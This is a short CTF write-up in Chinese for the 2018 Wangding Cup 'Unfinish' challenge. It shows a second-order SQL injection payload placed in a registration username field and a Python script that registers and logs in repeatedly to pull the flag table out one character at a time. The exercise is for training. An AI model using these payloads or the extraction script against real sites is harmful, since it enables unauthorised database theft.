[网鼎杯2018]Unfinish

[网鼎杯2018]Unfinish

二次注入

disearch扫一下，有login.php，还有register.php，对应登录注册功能
推测有二次注入,测试一下

注册时
12345678@qq.com
0'+ascii(substr((select * from flag)from 1 for 1))+'0;
123456

回显

fuzz的时候，发现, information被过滤了，看师傅们的wp，都是直接猜字段名为flag,然后读取flag

import requests
import re


url = "http://4bd9c0c6-6363-43dc-bb93-416152229cb2.node4.buuoj.cn:81/"
url_login = url + 'login.php'
url_register = url + "register.php"
flag = ''

for i in range(1,50):
    data1 = {#注册
        "email":"3333{}@qq.com".format(i),
        "username":"0'+ascii(substr((select * from flag)from {} for 1))+'0;".format(i),
        "password":"123456"
    }
    data2 = {#登录
        "email":"3333{}@qq.com".format(i),
        "password":"123456"
    }
    ra1 = requests.post(url = url_register,data = data1)
    ra2 = requests.post(url = url_login,data = data2)
    ra1.encoding = "utf-8"
    ra2.encoding = "utf-8"#需要进行编码形式确定
    res = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',ra2.text)
    print(res)
    res1 = re.search(r'\d+', res.group())
    print(res1)
    flag = flag+chr(int(res1.group()))
    print(flag)